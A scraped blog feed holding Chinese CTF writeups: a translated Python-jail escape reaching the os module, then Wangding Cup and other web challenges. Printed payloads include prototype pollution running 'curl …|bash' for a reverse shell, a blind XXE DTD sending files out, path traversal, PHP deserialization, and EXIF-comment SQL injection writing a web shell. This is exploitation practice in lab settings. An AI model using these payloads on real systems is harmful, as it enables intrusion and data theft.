        return "(%s<<({}<[]))" % brainfuckize(nb/2)

我想知道使用作为模数是否可以优化其中一些表达式的长度。 如果您对此有任何想法,请随时与我讨论!

在黑暗中把他们结合在一起!

结合起来并不是一件容易的事,但是使用一些技巧就可以让这件事变得容易了。如果我们需要构造一个包含字符的列表,那么这个列表的表示形式就会包含所有这些字符(这是当然了),而且列表最好的地方就在于他们这些字符之间是等距的,所以只要一个简单的切片操作就能得到我们想要的字符串了。

>>> `['a', 'b', 'c', 'd']`[2::5]
'abcd'

>>> `['a', 'b', 'c', 'd']`[(({}<[])<<({}<[]))::~(~(({}<[])<<({}<[]))<<({}<[]))]
'abcd'

译者注:1.这里说的”列表的表示形式“原文是”the representation of that list”,作者的意思是,比如有一个['y', '1', 'n', 'g']的列表,那么['y', '1', 'n', 'g']就是他的表达形式,因为列表在python中就被这样输出,或者你把它理解为把一个列表做repr()了。2.这里原作者用了创建列表+列表转其表示形式也就是转字符串+字符串切片来获得想要的字符串,实际上更简单的方法是直接用+来把这些单字符拼接起来,但我并不确定字符串拼接的+在原题目中是否被支持,至少在第三届BJDCTF PY me中是被禁止使用的。译者注结束。

因为我们可以生成生成任意的数字和单字符,所以这个方法(指上面所述的得到字符串的方法)表现得非常不错。

但是依然要格外小心,因为这个方法并不是永远有效的,特别是当某个字符的表示形式是由多个字符构成的时候,比如但不限于\n, \t, \\等。不过我们很幸运,因为这些字符用的少,我们也不会用它们。

现在我们就可以从eval()来生成任意代码然后传递给exec()语句了!

在进入下一步之前,现在试试这一段可用的Python代码吧!

`[`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~((((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))),`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])))]`[(({}<[])<<({}<[]))::~(~(({}<[])<<({}<[]))<<({}<[]))]
Python的作用域

在现阶段,在尝试利用任何东西之前,我认为很有必要快速的来介绍一下python是如何处理作用域的。我不会解释所有关于它的知识,所以我强烈建议您阅读更多有关内容。 但是,如果你对Python处理和存储这些内容的方式都非常了解的话,就可以放心的跳过此部分了。

我将讨论两种变量,即全局变量和局部变量。 当然,在Python中引用数字、类或函数的变量的处理方式没有真正的区别。

全局变量

实际上,通常所说的全局变量实际上并不像C语言中的全局变量那样的全局。Python中的全局变量只是相对于定义它们的模块是全局的。 从外部模块访问它们时,可以用一下例子来测试:math.pi以访问模块math中名为pi的全局变量。

模块中的所有全局变量都存储在模块的__dict__中,该变量是模块的属性。 修改此__dict__就相当于在这个模块上使用setattr

可以通过sys.modules[__name__].__dict__获得当前模块的全局变量,或者更简单地通过调用globals()来获得全局变量。

本地变量

局部变量是在函数范围内定义的变量。 与全局变量的方式类似,局部变量也存储在字典中,该字典可以通过正在/曾经运行该函数的代码的f_locals属性进行访问。 在CPython实现中,修改f_locals不会影响实际的本地变量。

从外部

如果我们看一下math.cos的代码,我们可能会希望它使用math.pi,但是math.pi可能会被简称为pi。 当我们从数学之外的地方调用math.cos时,pi不会位于调用模块的全局变量中。 了解cos如何在pi上找到参考是很有意思的一件事。 在函数声明期间,对当前全局变量的引用保留在函数的func_globals属性中。

Exploiting

现在我们得到了大部分字符,想要代码执行就非常简单了(有些字符仍然是不能使用的,不过我们也不会用它们)。但是,还是有一些限制,没有内置的函数我们就不能访问模块,并且还有个字符限制。我决定先解决最后一个问题,这样以后这个问题就不会打扰我们了。

绕过长度限制

为了实现绕过长度限制,我将添加一个第三代码执行阶段(前面说一共有2个阶段),因为第二阶段(exec执行)可以被触发任意多次,并且可以被用来触发最终的Payload。所以,我们需要把它的query部分储存起来,然后再在它arrive的部分把它们联系起来。

我们需要找一个存东西的地方,这样我们可以再下一个exec时候再回来,当然寻找这样一个地方是非常容易的。

如果你以前做过关于Python Jail逃逸的相关题目,你对下面的内容应该会很熟悉。

().__class__.__base__.__subclasses__()

它得到了元祖类型(().__class__)的父类(__base__)对象,然后可以列出python所有已知的子类。在这里面我们就能找到一个能调用setattr的地方,确实我们很幸运的发现了:

>>> ().__class__.__base__.__subclasses__()[-2]
<class 'codecs.IncrementalDecoder'>

>>> ().__class__.__base__.__subclasses__()[-2].test = "wapiflapi"
>>> print ().__class__.__base__.__subclasses__()[-2].test
wapiflapi

所有这些代码在python2.6.6都是可以执行的。很幸运我们可以往里面存东西然后一会儿再返回来。这是我们第二阶段需要做的所有的事情。现在我们已经准备好eval去接受那些碎片,然后把他们存起来,并且在完成后最终执行整个Payload。

译者注:这里说的碎片就是上面构造任意字符的那些符号,通过eval()运算可以得到一个python代码,最后执行。译者注结束。

计划:

第一步:原始的eval()

  • 解密我们输入的东西来得到一个python的代码
  • 这一步绕过了长度限制

第二步:原始exec()

  • 联系上第一步的输出
  • 执行
  • 这一步也绕过了长度限制

第三步:通过第二步来exec()

  • payload被执行,于是我们得到了shell
  • 这一步我们成功逃逸

这基本上解决了长度限制问题,然后代码也很简单,一会儿我会把这些放在一起显示。我们首先先来了解一下如何逃逸

逃逸

我们想要得到一个shell,比如需要有system, execv, fork, dup,总之我们是想要有os模块。那么哪里能找到os模块呢?这时候我们就需要寻找os上具有引用的模块或者函数了,或者是在类似的引用上具有引用的模块或函数。这里就是考察经验的地方了,经验告诉我warnings模块在默认情况下就被加载了,并且还有很多不错的引用,如果我们能得到它的全局变量就好了。

我们通常会去尝试(在NDH Prequals也可用)这个:

>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0]()._module
<module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>

译者注:NDH Prequals是指2012年的一个比赛,叫NuitDuHack 2012 Prequals。译者注结束。

它直接就让我们得到模块了。这很容易,因为catch_warnings保存了一个对模块的引用。但是现在还不能直接使用因为catch_warnings使用了sys.modules去得到引用。(还记得吗,它们被.clear()了)

Traceback (most recent call last):
  File "/Python-2.6.6/Lib/warnings.py", line 333, in __init__
    self._module = sys.modules['warnings'] if module is None else module
KeyError: 'warnings'

但我们仍然有办法获取到引用,我们可以发现函数保留了其对定义的模块的全局引用,我们只要在catch_warnings中找一个函数就行了。

经过一番搜索我发现catch_warnings.__repr__是被.__repr__函数支持的。实际上,.__repr__本身并不能说成是一个函数,因为它是一个实例方法,但是使用__repr__.im_func是非常简单的。

然后只要使用func_global来获得warnings模块的全局变量就可以了。

>>> g_warnings = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0].__repr__.im_func.func_globals
>>> print g_warnings["linecache"].os
<module 'os' from '/Python-2.6.6/Lib/os.pyc'>

warnings导入了linecache,然后反过来又导入了os。为了不会影响到sys.modules.clear()所造成的混乱,我们就什么都不导入了。

统一

现在我们什么都知道了,我们知道如何进行PyJail的逃逸,我们知道如何有足够的空间去这样做,我们还知道如何去制造那些我们想要用在代码里的字符。现在我们唯一要做的就是把他们都放在一起,这就非常简单了。

我要感谢PPP战队带来这场精彩的CTF比赛,我真的很享受。也感谢所有那些让我学到python和它的一些技巧的人们。


原作者:wapiflapi

英语原文链接:A python’s escape from PlaidCTF jail

中文版翻译:颖奇L’Amore

]]>
https://www.gem-love.com/ctf/2345.html/feed 2
第二届“网鼎杯”青龙组WEB部分题目Writeup https://www.gem-love.com/websecurity/2322.html https://www.gem-love.com/websecurity/2322.html#comments Sun, 10 May 2020 10:14:40 +0000 https://www.gem-love.com/?p=2322 Author:颖奇L’Amore

Blog:www.gem-love.com

垃圾比赛,web题目放的非常晚,而且一个队伍只能开一个docker,非常不方便,web题做出来3个,另一个还没来得及看比赛结束了,如果环境持续开放并且能做出来的话再补上wp(更新:被队友做出来了,爷懒得努力了,等有时间再说吧)

比赛PY严重,随便玩玩就好了


一开始不知道主办方还收wp,就把wp放出来2个小时,然后好像传的还比较广,有一千多访问,无意搅屎 在这里道个歉


Notes (100pt)

考点:CVE-2019-10795 undefsafe原型链污染

给了源码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

代码比较简单,没学过node也能审计

undefsafe的原型链污染参考:

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

来到edit_note后post提交如下payload:

id=__proto__.abc&author=curl%20http://gem-love.com:12390/shell.txt|bash&raw=a

之后访问一下status,执行如下代码导致RCE:

.get(function(req, res) {
    let commands = {
        "script-1": "uptime",
        "script-2": "free -m"
    };
    for (let index in commands) {
        exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
            if (err) {
                return;
            }
            console.log(`stdout: ${stdout}`);
        });
    }
    res.send('OK');
    res.end();
})

反弹shell,在根目录得到flag:

 


filejava (46pt)

考点:Path Traversal、Arbitrary File Read、java class Decompile、Blind XXE

能上传,传完之后能下载:

看这个url,考虑有目录穿越可以下载任意文件,测试一下:

读取WEB-XML

/file_in_java/DownloadServlet?filename=../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

得到:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
  <display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>
  <servlet>
    <description></description>
    <display-name>UploadServlet</display-name>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>ListFileServlet</display-name>
    <servlet-name>ListFileServlet</servlet-name>
    <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>ListFileServlet</servlet-name>
    <url-pattern>/ListFileServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>DownloadServlet</display-name>
    <servlet-name>DownloadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译(我用的JD-GUI)得到源码:

(btw如果哪位大佬有mac上好用的java反编译软件麻烦留言告诉一下)

源码比较长就不贴了,主要是在UploadServlet.java中有如下代码:

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
  
  try {
    Workbook wb1 = WorkbookFactory.create(in);
    Sheet sheet = wb1.getSheetAt(0);
    System.out.println(sheet.getFirstRowNum());
  } catch (InvalidFormatException e) {
    System.err.println("poi-ooxml-3.10 has something wrong");
    e.printStackTrace();
  } 
}

这就比较明显了,考虑是Excel的xxe,和前段时间易霖博的web4那个word文档xxe类似,但是因为是blind,需要把结果打回我们的服务器,做法和hgame week4 代打出题人服务中心那个题目基本一样

先在[Content-Types].xml中引用外部dtd实体:

<!DOCTYPE y1ng [<!ENTITY % remote SYSTEM 'http://gem-love.com/y1ng.dtd'>%remote;]><y1ng/>

y1ng.dtd:

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://gem-love.com:12358/?q=%file;'>">
%int;
%send;

然后再给压缩回去,上传,flag就打回来了

有的人就要问了,既然知道flag在/flag,为啥不能直接用下载器目录穿越然后读取?是因为DownloadServlet中有过滤:

String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName != null && fileName.toLowerCase().contains("flag")) {
  request.setAttribute("message", "");
  request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
  
  return;
} 

AreUSerialz (14pt)

考点:反序列化

给了源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

代码比较简单不再过多解读,明显是要进行文件读取来读取flag。

主要需要绕过is_valid()函数,因为protected类型的属性的序列化字符串包含不可见字符\00,会被is_valid()函数给ban掉。

php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了(后来还有师傅说把\00改成空格也可以)

补充:后来我又想了一下,感觉本题考的应该不是这种黑魔法, 出题人应该是想让用S来代替s,在这种情况下\00就会被解析成%00(1个字符),而如果是小写s,\00就是一个斜线+2个零(3个字符)

另外还需要绕过析构方法:

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

因为在进行read()之前就会调用__destruct()魔术方法,如果$this->op === "2"就会设置$this->op"1",而"1"是不能调用read()来文件读取的。可以发现:

  • __destruct()方法内使用了严格相等$this->op === "2"
  • process()方法内使用了不严格相等else if ($this->op == "2")

所以这里使用弱类型2 == "2"绕过即可。

之后就是文件读取,但是读flag.php是读不到东西的,来读一下/etc/passwd可以读到,payload:

<?php
class FileHandler {

    public $op = 2;
    public $filename = "/etc/passwd";
    public $content = "y1ng";
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$a = new FileHandler();
$b = serialize($a);
echo $b."\n";
var_dump(is_valid($b));

因为读不到flag.php,用相对路径一直打不通,考虑使用绝对路径,但是/var/www和/var/www/html都没成功。所以本题目应该是要先找到Apache的工作目录,然后进行文件读取。但是常规路径的apache的配置文件等都通通没有找到

后来通过读取cmdline得到了配置文件:

注意这是两个路径,后面的/web/config/httpd.conf才是真正的路径,不要把两个路径拼在一起了

然后通过配置文件得到了路径,实际上直接观察配置文件的路径也能猜出网站根目录

之后读取flag即可:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:4:"y1ng";}

补充:

大部分人应该是直接相对路径读的,经过赛后测试,如果直接用上面的payload并只修改为相对路径,那么

$res = file_get_contents($this->filename);

就会失败并且返回false,所以直接读取是不可以的;但是只要修改一下序列化字符串,比如删掉个符号,改错长度等等,这个file_get_contents()便不再返回false(绝对路径也不返回false),也就能成功进行读取了,可以自行搭环境然后var_dump()

所以评论区也好还是私信,好多相对路径能读的,实际上可以去看看你们的序列化字符串,肯定哪里有点区别。

那么为啥会返回false,本地测试并且通过var_dump(scandir('.'));可知它执行完如果反序列化字符串没有异常就往前穿越到了根目录(至少我本机mac+nginx+php7.3环境是穿越到根目录),而根目录是没有flag.php的,所以读不出来。

为啥会穿越目录?这是析构方法的锅,请看官方Note:

https://www.php.net/manual/zh/language.oop5.decon.php

析构函数在脚本关闭时调用,此时所有的HTTP头信息已经发出。 脚本关闭时的工作目录有可能和在SAPI(如apache)中时不一样。 

这种问题在开发中也出现,请参考这篇文章给出的解决办法:

1、在__destruct 中使用绝对路径操作文件

2、__destruct 之前比如构造函数内,先获取 getcwd() 工作目录,然后在 __destruct 中使用 chdir($StrPath)  重新设定工作目录。

所以在做这个题目时候,我用了绝对路径而成功读取到了flag。

另外听说还有人根据刚启动容器的docker报错直接找到了docker源码,从源码里得到了根目录,这也太秀了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/websecurity/2322.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/websecurity/2322.html/feed 5
🇮🇳Zh3r0 CTF 2020 Writeup https://www.gem-love.com/ctf/2314.html https://www.gem-love.com/ctf/2314.html#respond Sun, 10 May 2020 02:06:18 +0000 https://www.gem-love.com/?p=2314 Author:颖奇L’Amore

Blog:www.gem-love.com

五天前打的,题都非常简单,当时刚打完De1CTF比较累,一直懒得写WP。今天打网鼎,结果上了两波题都没web(无语),抽个空来把wp写一下

一共5+1个web(其中一个题不在web分类内),都是签到题


Are you the Master? 1 (546pt)

打开之后没东西,查看html源码:

<!DOCTYPE html>
<h1><b>Hello</b></h1><h2>Welcome to the best collision</h2><br><img src='extras/lol.webp'><!--view.php may help you -->

来到view.php:

<!DOCTYPE html>
<?php
    include "./ans.php";
    error_reporting(0);
    echo "<h1><b>Hello</b></h1><h2>Welcome to the best collision</h2>";
    $black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
    $black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
    if(preg_match($black_list, $_GET['one'])) exit(":P"); 
    if(preg_match($black_list, $_GET['two'])) exit(":P");
    $one=$_GET['one'];
    $two=$_GET['two'];
    if($one!=$two)
    {
        if(md5($one)==md5($two))
        {
            echo $ans;
        }
        else
        {
            echo "<br><img src='extras/easyhmm.webp'>";
        }
    }
    else
    {
        echo "<br><img src='extras/lol.webp'>";
    }
?>
<!--view.php may help you -->

只有源码,没有echo的结果,也没有highlight_file()等,这是index.php的源码,view.php里只是highlight_file('index.php'),所以还要回主页去碰撞

非常简单的md5的碰撞,构造0e开头的md5也行,用数组也行,两种方法:

?one[]=1&two[]=2

?one=s878926199a&two=s155964671a

之后得到:

<img src='..' height='200px' width='200px' onclick='alert(String.fromCharCode(104,116,116,112,115,58,47,47,116,105,110,121,117,114,108,46,99,111,109,47,121,56,116,52,104,121,52,117))'>

点击一下就会出现:

https://tinyurl.com/y8t4hy4u

点开之后是谷歌云盘,可以下载两个东西,但是没有flag,然后突然想起来题目flag是填个url

flag: zh3r0{https://tinyurl.com/y8t4hy4u}


PIzza (50pt)

一个验证:

<form action="index.html" method="post">
<input type="text" id="pass" size="8" />
<br/>
<input type="submit" value="Check" onclick="verify(); return false;" />
</form>
</div>
</div>
<script src="res/script.js"></script>

访问script.js看下js源码:

function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == '3st1') {
        if (checkpass.substring(split*5, split*6) == 'h3_b') {
         if (checkpass.substring(split*4, split*5) == '1s_7') {
          if (checkpass.substring(split*3, split*4) == '1ta_') {
            if (checkpass.substring(split*2, split*3) == 'rgar') {
              if (checkpass.substring(split, split*2) == '0{Ma') {
                if (checkpass.substring(0,split) == 'zh3r') {
                  alert("You got the flag!")

可以看到是把flag给substring()了,所以直接拼起来即可:

flag:zh3r0{Margar1ta_1s_7h3_b3st1}


Cake (50pt)

注释:

<!--I think I saw a robot running with it-->

robots.txt:

User-agent: *
Disallow: /gdakdshlghuighuhgds.html

访问得到flag:zh3r0{R0b0t_St0l3_My_P1um_C4k3}


Tasty Snacks (50pt)

直接cookie得到flag:zh3r0{CooK13s_4r3_7asty}


pasta (150pt)

查看源码,有jsfuck,解一下:

if (document.forms[0].sauce.value == "4ma7r1ci4na" && document.forms[0].type.value == "Rig4t0n1") document.location = "drhgbonaygaocvnwyrub.html"

直接访问drhgbonaygaocvnwyrub.html得到flag:zh3r0{4ma7r1ci4na_is_4ws0m3}


Ice Cream (150pt)

Find out which is my favorite ice cream. It may contain a flag.

I have told it to my name server friends.

Author Finch

没给url,但是题目关键字有name server,之前y老师出的MetasequoiaCTF Rabbit Hole题目就是把隐藏信息藏在了TXT记录里,所以dig一下:

zh3r0{Str4wberry_1c3cream_1s_4ws0me}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2314.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2314.html/feed 0
CTFshow 36D Web Writeup https://www.gem-love.com/ctf/2283.html https://www.gem-love.com/ctf/2283.html#comments Mon, 04 May 2020 11:59:42 +0000 https://www.gem-love.com/?p=2283 Author:颖奇L’Amore

Blog:www.gem-love.com

题目现已开源:https://github.com/y1nglamore/Y1ngCTF


本次web题目列表如下,其中红色为我出题的题目:

  1. 你没见过的注入
  2. 你取吧
  3. 给你shell
  4. ALL_INFO_YOU_WANT
  5. Login_Only_For_36D
  6. RemoteImageDownloader
  7. WUSTCTF_朴实无华_Revenge

因为时间紧张+难度要偏难+好题已经投安恒了,导致出题质量不佳,某些题目完全是为了出题而出题,我本人也不是很喜欢这类题目,在此先给大家致歉。


你没见过的注入

提示:

不需要爆破、扫描
没有源码泄露
登陆不上去找txt

考点:Recon、EXIF、SQLi

难度:难

这道题做了接近5个小时才出,很幸运拿到了一血。前端很好看:

fuzz之后发现无法注入,在robots.txt找到hint:

User-agent: *
Disallow: /pwdreset.php

然后在这个pwdreset里面可以重置密码,直接充值一下密码然后登陆就可以了(fuzz这个重置密码也没有找到注入点),登陆之后发现是上传:

测试发现,不管是什么文件名,最后都成为了md5.zip的格式,点击即可下载,虽然只是简单重命名并没有进行zip压缩

经过接近30min的测试,都没有bypass这个zip后缀,然后我对同一个包进行重放发现也会生成多个不同文件名的文件,所以md5应该是直接哈希了和时间有关的东西或者是随机数。

除此之外,还会检测文件的类型以及换行,并以列表形式显示出来:

简单fuzz之后就应该知道不是个上传getshell题目,结合题目名考虑还是注入。之前xctf有过文件名注入的题目,将文件名insert插入数据库,就造成了注入,比如可以使用类似这样Payload的报错注入:

1' or updatexml() or '1

我猜测本题目可能也是这样考的,把源文件名存进数据库然后保存成md5.zip,但是测试了很多种不同的payload组合,都是失败了,所以考点可能也不在这里。

之后我注意到了filetype和换行,对于换行这个东西没有什么想法,filetype的话很可能是存入数据库的,如果能够欺骗PHP的文件类型检测,就可以插入SQL语句造成注入了,问题在于如何做到,以及此方法是否可行都是未知数

后来发现,它很有可能是使用了finfo类下的file()方法进行检测才输出了这样的结果,然而查了好久也没查到有相关的信息:

然后我决定去手撕PHP的C源码,看到不是特别明白这里就不说了,但是发现这个file()方法可以检测图片的EXIF信息,而EXIF信息中有一个comment字段,相当于图片注释,而finfo->file()正好能够输出这个信息,如果上面的假设成立,这就可以造成SQL注入

然后根据之前xctf的那个文件名注入的题目的sql语句,猜测本题目的语句应该大概是这样的:

insert into column(name, type, lineFeed) values ($filename, $filetype, $filelinefeed);

所以需要先构造这个insert语句闭合。insert不能联合查询什么的,不过也不用去专门构造Payload,只要堆叠注入就可以了。

因为filelist里面是输出的文件信息,应该是上传时候insert进去的,然而对insert堆叠并不能更新数据库信息,这样就没有回显,无回显的话只能靠延时了,先弄个延时测试一下吧

之后就是下一个问题,如何更新exif信息?可以使用exiftool工具,Payload:

exiftool -overwrite_original -comment="y1ng\"');select if(1,sleep(20),sleep(20));--+" y1ng.jpg

之后直接file命令就可以看到comment:

当然用EXIF在线查看器也可以:

之后就是上传,如果可以造成注入,那么应该就可以直接延时,上传发现果然延时成功了,说明可以注入

现在是注入点找到了,也没有任何过滤,下一步做什么?时间盲注?根本不现实,因为一个Payload代表这要生成一次新的图片+上传一个新的图片,过于复杂,所以考虑直接getshell,Payload:

exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+"

其中select后面的16进制转一下字符串为<?=`$_POST[0]`; 因为我最开始是直接把一句话木马转16进制然后用了这个Payload,然而outfile后面路径到/v后面就没了,应该是太长了:

所以用一个尽量短的php脚本,更新exif,上传,即可直接getshell:


你取吧

考点:Bypass、RCE

难度:简单

直接非预期一把梭了,从打开题目到RCE没用超过1分钟

打开题目得到源码:

<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
